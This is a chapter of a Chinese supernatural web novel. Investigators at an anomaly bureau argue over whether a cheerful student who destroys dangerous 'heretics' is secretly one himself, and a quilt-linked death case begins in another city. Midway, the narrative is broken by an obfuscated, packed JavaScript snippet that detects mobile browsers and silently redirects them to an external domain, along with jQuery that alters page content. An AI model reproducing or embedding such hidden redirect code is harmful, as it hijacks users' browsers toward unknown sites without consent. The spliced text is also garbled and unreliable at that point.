能在接连数次的异端案件中安然无恙已经够逆天了,结果跟他有关的异端死的死,残的残,今天更是一而再再而三刷新着他们对危险的认知。 强大的异端在他手里是一团废纸,是吃了还能吐出来的笔记本,是一碰就倒的书架,是满地恐惧到呕血的书籍…… 这真的是普通大学生? 世界上都已经有异端的存在了,人类都能觉醒异常能力了,还有什么是不可能的?! 这绝不可能是普通大学生! 两位调查员打了个寒颤,眼前笑得一脸天真的男生究竟是什么? - 令郁樹意外的是,他联系不上书店老板,发消息没人回,打电话也没人接,其他店员更是没有踪迹,就连本应该上班的莱尔都遍寻不到。 这就没办法了,现在书架层层叠叠地倒成一圈,隔板和框架都裂开了,那些贵到令人咋舌的精装版书籍也在落地的时候被磕坏,书页飘飞一地,这不是自己一个人就能整理好的,而且,这种损坏情况,就算他不是故意的,也得象征性地赔偿老板一部分损失,毕竟无论友有意还是无意,这种局面都是他一手造成的。 郁樹看了下自己触碰过书架的手,还真是物理意义上的一手造成的呢。 他不是个逃避责任的人,虽然心疼钱,但做人的那点底线还是得守住,于是他给老板留言,提出赔偿方案,并真诚道歉。 三耽误两耽误,时间已经过了午夜一点,莱尔一直没回来,书店这种情况也不可能继续营业,送走几位警官,郁樹闭店离开,打算明天再联系老板,实在不行就白天过来当面谈,他就不信出了这么大的事,老板还能不来店里看看。 结果等到第二天,老板还真没来,不仅老板没来,那几位店员也没来,更令他诧异的是,短短一夜之间,书店里里外外被清空得一干二净,连片纸都没有留下,零元购都不会这么离谱。 是老板派人整理的吗?那他怎么不回自己消息呢?难道是在暗中筹备着给他发律师函?可别啊!就算对那个赔偿方案不满意,也可以跟他谈啊,没必要上来就对簿公堂吧。 他拿起手机给老板打电话。,可无论他打了多少个,对面始终都无人接听。 郁樹有点方,这是拒绝协商的意思吗? 应该不是吧? 当初过来应聘的时候,感觉老板是个挺好说话的人,总不会因为这点事就断绝往来吧? 啊,不能说是“点”损失,听说那些书架都是上好的木料打造的,贵得很,真要细算起来照价赔偿的话,自己可能要在书店打一辈子工。 但因为这个断绝往来还是有点太夸张了。 左思右想,郁樹觉得很不放心,如果老板一个人联系不上还能理解,说不定是对方有什么事,可现在的问题是其他人他也联系不上,两位白班的同事,夜班的莱尔,负责招聘的任姿,全都联系不上。 这就明显有问题,而且很大。 看了眼空空如也的书店,郁樹决定还是找专业的人处理专业的事。 他拿出手机拨通了一个电话:“喂,柯警官,你现在忙吗?有件事能不能求你帮个忙?有几个人突然就失踪了……” 与此同时,阿卡姆异端调查管理局会议室内,各部门领导和整个阿卡姆市所有A+级调查官围坐在会议桌前,面色凝重地探讨着一项重大事件。 忽然,一道突兀的电话铃声打断了会议进程,所有人的目光都汇聚在那位银色头发的男人身上。 只见他旁若无人地拿起手机放在耳边,一边起身往外走,一边道:“嗯,不忙,你说,什么事?” - 看着他离开的身影,所有人面面相觑,却没有人发表任何看法,毕竟这可是全国唯一一位S+级的调查官,他的一切行为肯定自有他的目的。 异端调查管理员的分级中,A+已经是极为罕见、极为优秀、极为强大的存在,但在A+之上,还有个S级,那更是强大到离谱,但在这样离谱的存在之上,还有一个无法用现有技术水平准确衡量对方实力的等级,S+级,整个星球只有几位,一只手都数的出来。 无法用现有技术水平去衡量的实力,也就是说S+只是人类能够识别的极限,却不是那几位S+级特调官能力的极限。 更令人畏惧的是,据说其他S+调查官加在一起也打不过这位刚刚出去的、不知什么原因留在阿卡姆市的柯璆特调官。 人类都是慕强的生物,几位A+级调查官的目光追随着那道魁伟的背影,羡慕、钦佩甚至还带着一点点嫉妒的神色呼之欲出。 德里克轻咳一下唤回众人的注意力,会议继续。 他看向贺铮,面色严肃:“你是说你们连夜搬空了那家书店,发现里面汇集了无数异端?” “没错,”贺铮在空中晃动一下手指,会议桌正中央的虚拟显示屏自动切换到一份异端调查报告,在众人研读的时候,他简单介绍:“如各位所见,那书店里书籍是异端,书架是异端,店员是异端,就连店长也是异端。” 众人都有些讶异,除非像【诡乐手术室】那样同时异化且目的一致的,异端很少会集合在一起,高级别的异端甚至会以低级别的异端为食,这也是异端虽然强大确数量不多的原因之一。 可如果贺铮说的一切属实,那就太可怕了—— 异端竟然学会了分工合作,还形成了等级分明的集群? 它们已经拥有了强大的能力,如果再进化出社会化属性,联合在一起,人类还怎么在这个世界存活下去? 巨大的惊悚笼罩着众人。 贺铮扫视一眼,继续道:“走进去的人会产生一种强烈的想要看书的渴望,而一旦拿起书架上的书,人就会被吸进去去,那种过程就好像……” 他隐隐发抖,一边缓缓深呼吸,一边回想着那段惨痛无比的经历。 这时,打完电话的柯璆走进来,淡漠地扫了他一眼:“那是从三维空间降到二维平面的正常反应。” 众人看着他,有点没理解其中的含义,柯璆却没有一点想要解释的意愿,在说完那句话后就坐回椅子上,一言不发。 所有人又看向贺铮。 “……”沉默半晌,贺铮深吸一口气,“想象一下你的感官被无限放大,这时有一台轧路机反反复复碾轧着你的身体,你能听见自己骨头碎裂成粉的声音,你恨不得自己立刻死去,但即使你死了,感官依然持续感受着那种被被碾压的痛苦,直到你的身体与沥青路面彻底融为一体……” 在场的都是异管局领导和A+级调查官,见识过无数异端场景,可绕是如此,他们仍被贺铮的描述惊出一身冷汗,一时之间竟分不清究竟是异端初具社会化更恐怖,还是人类的二维展开更惊悚。 没给众人喘息的机会,贺铮晃动手指切换到另一份异端调查报告上:“但以上那些的恐怖程度加在一起都赶不上这位大学生的十、百分之一。” 说话的同时,他的双眼始终紧紧注视着对面那个银发男人。 在返回异管局的路上,贺铮有想过隐瞒自己的猜测,暗中调查。但他又马上否定了这个想法,无论隐藏得多好,他的一切行动都会被柯璆发现。 再者说,他实在不清楚柯璆究竟有多少特殊能力,从传闻来看,他似乎无所不能,既可以武力制裁异端,又能研发针对异端的仪器和武器,对于这样一个实力和智力都极为逆天的存在,无论是斗勇还是斗智,自己都绝对没有胜算,对付这种仿佛开了天眼的存在,与其绞尽脑汁隐瞒,不如直接明牌试探,还能趁此机会看看对方的反应。 看着对方面无表情的脸,贺铮故意当众问:“特调官先生,我记得你曾经三番五次说过这人没问题,那么请问最近几次异端事件为什么都发生在他周围?而且如果他像你说的一样,只是个普通人,那他又是怎么在数次异端案件中全身而退的?” 此话一出,反应最大的反而是局长德里克。 他最近一直在派人暗中调查异管局里有没有其他势力的渗透,结果似是而非,好像有,又好像没有,但确实发现这位远道而来的特调官行为举止有些异常。 比如这位名叫郁樹的大学生,起初德里克对柯璆的话深信不疑,认为那就是名普普通通的大学生,无非是长得帅气点,身材好一点,性格招人喜欢一点,但随着后面几起异端事件的发生,德里克产生了一点疑惑。 一个普通人是不能多次处在异端案件中而不被精神污染的,一次可以解释为精神值稳定,那多次呢?精神值异常稳定?怎么可能,就算是调查员也得定期进行精神值调养,否则就有被污染的风险。 如此反常的事情,他们都能发现,S+级的柯璆发现不了?别忘了他的能力,那可不是简单的读心术,只要他想,你从出生到死亡之间所发生的一切事情他都能知道。 这就好比每个人的人生都是电脑里的一份文档,而柯璆是那台电脑的拥有者。 所以柯璆一直说郁樹没问题的原因是什么? 确实没问题,还是…… 郁樹的文档不在那台电脑里? 德里克有些欲言又止地望向对面的银发男人。 被当着众人的面这样质疑,柯璆依然没什么情绪起伏,他摩挲着无名指上的戒指,漫不经心地看着贺铮:“你说他是异端,证据呢?” 贺铮等的就是这句话,他从容不迫地伸手在空中扫了一下,虚拟电子屏上出现一个关系图,正中间是郁樹,周围是各种与他相关的异端案件。 他指着虚拟显示屏:“这些还不足以说明问题吗?如果不够的话,大家可以看看这个。” 说着,他的掌心里出现一团皱皱巴巴的纸。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16103040|179824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>有调查官很配合的地问:“这是什么?” “这原本是一个A2级异端。”贺铮将那团纸递给一旁的调查官让众人传阅,他则继续道,“我亲眼看见郁樹从地上捡起它揉了揉,然后它就变成现在这样,没有污染值,没有意识,只是一团普普通通的废纸。” 紧接着,他拿出一本书:“这就是曾经把我撵进二维平面的异端,现在也没有污染值了。” “还有这个,”他又拿出一块木屑,“这是被郁樹轻轻一碰就轰然倒塌的异端,同样没有意识。” “一切都发生在我们即将收容这些异端之前,你们不觉得这非常像灭口吗?”贺铮言之凿凿,视线一转,看着柯璆,“他在隐瞒什么?” 柯璆依旧面无表情,只淡淡道:“你说的这些反倒让我觉得他在救你们,还不想让你们放在心上,所以刻意装作不知情。” 贺铮当即愣在原地。 其他人则睁大双眼,惊喜地讨论起来: “对哦,按目前已知线索来看,他反而把你们从异化进程中拉了回来。” “他似乎对异端怀有极深的恨意,你们看,这个异端竟然被他揉成了这么小的一团。” “对呀,他的出现反而让我们轻而易举收容了许多异端,其中不乏危险等级四颗星的。” 一道道讨论声仿佛一柄柄利剑,深深插入贺铮的心,他轻咳了一声:“万一这些都是他计划的一部分呢?一个如此强大的存在却要故意伪装成普通大学生,他目的何在?这不值得怀疑吗?” 会议室一下子陷入沉思,片刻后讨论声再次响起。 “这么想也有道理,毕竟非我族类,其心必异。”说这话的人忽然感到一阵冰凉的视线,立马低下头去。 讨论又持续几分钟后,众人一致决定对郁樹进行密切观察,至于观察者,所有人将目光投向柯璆。 不是他们不主动,实在是郁樹的实力太过深不可测,而柯璆是他们这里唯一一位S+级特调官,只有他有实力应对未知的凶险。 至于贺铮,他好几次提出了强烈的反对意见,甚至主动请缨,却都被众人否决,理由也很简单,等级不够。 德里克陪着笑脸:“特调官,您觉得怎么样?” 柯璆靠在椅背上,摩挲着无名指上的戒指,密切观察么? - 得到柯璆肯定的答复,郁樹放下心来。 不知道为什么,虽这位柯警官看起来冷冰冰的,但就是给他一种安心的感觉,总觉得是个很靠谱的人,有他的帮助一定能很快找到老板和几位同事。 挂断电话后,他又开始忧愁起来。 找不到老板,书店又变得空空如也,这份兼职明显是不能再继续干下去了,轻轻一扶造成这样的结果,他这几天都白干了,估计还得赔进去不少。 又得找新兼职了,郁樹抬头望天,实在想不通自己的兼职之路为何如此艰难,他好像有什么霉运系统在身上一样,难不成有人天生就不适合打工?那自己的富豪爹妈在哪里? 算了,悲春伤秋没用。 郁樹收回视线,马上期末考试,这段时间就踏实复习吧,等放暑假可以去隔壁的密斯卡市转转,听说那里工资比较高。 而且,郁樹笑了一下,有一对父母正在寻找失散多年的儿子,看照片跟自己有点像。 正好可以一边打工,一边碰碰运气。 郁樹有点期待地想着。 另一边,周柏霹不知从哪听说郁樹又要找兼职的消息,他抚掌大笑,是时候展示自己的真心了…… - 密斯卡市,几位调查官看着床上形容枯槁的干尸,面色凝重。 尸体灰白焦枯,皮肉紧紧挨着骨头,如同被特殊处理过的木乃伊,但比木乃伊还要诡异的是,这些皮包骨的脸上都是一副极度亢奋的表情,仿佛死之前经历过什么超级美妙的事。 “这是第几具了?” “报告队长,第15具。” 被叫队长的人眉目紧锁,继续问:“被发现的时候,尸体还是被棉被紧紧裹着?” “是的,队长,跟之前14具尸体一模一样。” “被子呢?” “拿去检测了,上面依然没有异端的痕迹,也没有污染值。” 密斯卡市异管局已经对此案件连续追踪了好久,至今仍然不知道这个异端究竟是什么,唯一能够确定的是,棉被绝对是这起异端案件的重要一环。 经过一轮又一轮的调查和追捕,调查员们推测,这个异端也许是非实体型异端,需要通过其他介质才能实施污染,比如附着在棉被上。 密斯卡市异管局马上召开重要会议,一方面紧急部署调查官收容异端,一方面探讨如何让市民远离棉被。 很快,密斯卡市市民的手机里就充斥着各种相似的推送—— 【盖被子的十大危害】 【棉被——滋生虫螨的温床,你确定要盖吗?】 【不盖被子睡觉后我长高了五厘米】 【温馨提示:夜间盖被睡觉容易中暑】 市民们对此不屑一顾—— 【睡觉不盖被子?哪个专家头脑一热说出的逆天言论?建议以后别再建议了。】 【笑死,不盖被子盖什么?盖空气吗?着凉了谁负责?】 【还中暑,空调是摆设吗?】 【建议专家都把自己的嘴缝上。】 看着这些反馈言论,密斯卡市异管局局长狠狠拧着眉心。 他对面,秘书模样的人一脸为难地说:“局长,我就说过这种方法不行,现代人多少都对专家这两个字抱有极大的抵触情绪,更别说听专家的话了。” “那你说怎么办?”局长擦着额头上冒出的汗,“迟迟找不到那异端的踪迹,更别说收容了,已经有15人遇害了,除了想办法不让市民盖被子,还能有什么好主意?” 秘书也说不出个所以然来,沉默片刻,他突然说道:“听说那位就在阿卡姆市,不然我们请他过来帮帮忙?” “这话你怎么不早说?”局长马上眼前一亮。 - 随着最后一科考试结束,郁樹与尚青北道别,拎着箱子来到密斯卡市。 早在暑假开始前他就已经联系好一份暑期工,在一家旅行社做兼职导游。 密斯卡市是一个历史文化名城,郁樹刚好又是学历史的,也算是专业对口。 办理好入职手续后,郁樹来到员工宿舍放行李,打眼一瞧,宿舍环境挺好,窗明几净的,尤其是那床棉被,似乎是新的,特别喧腾,盖起来一定特别舒服……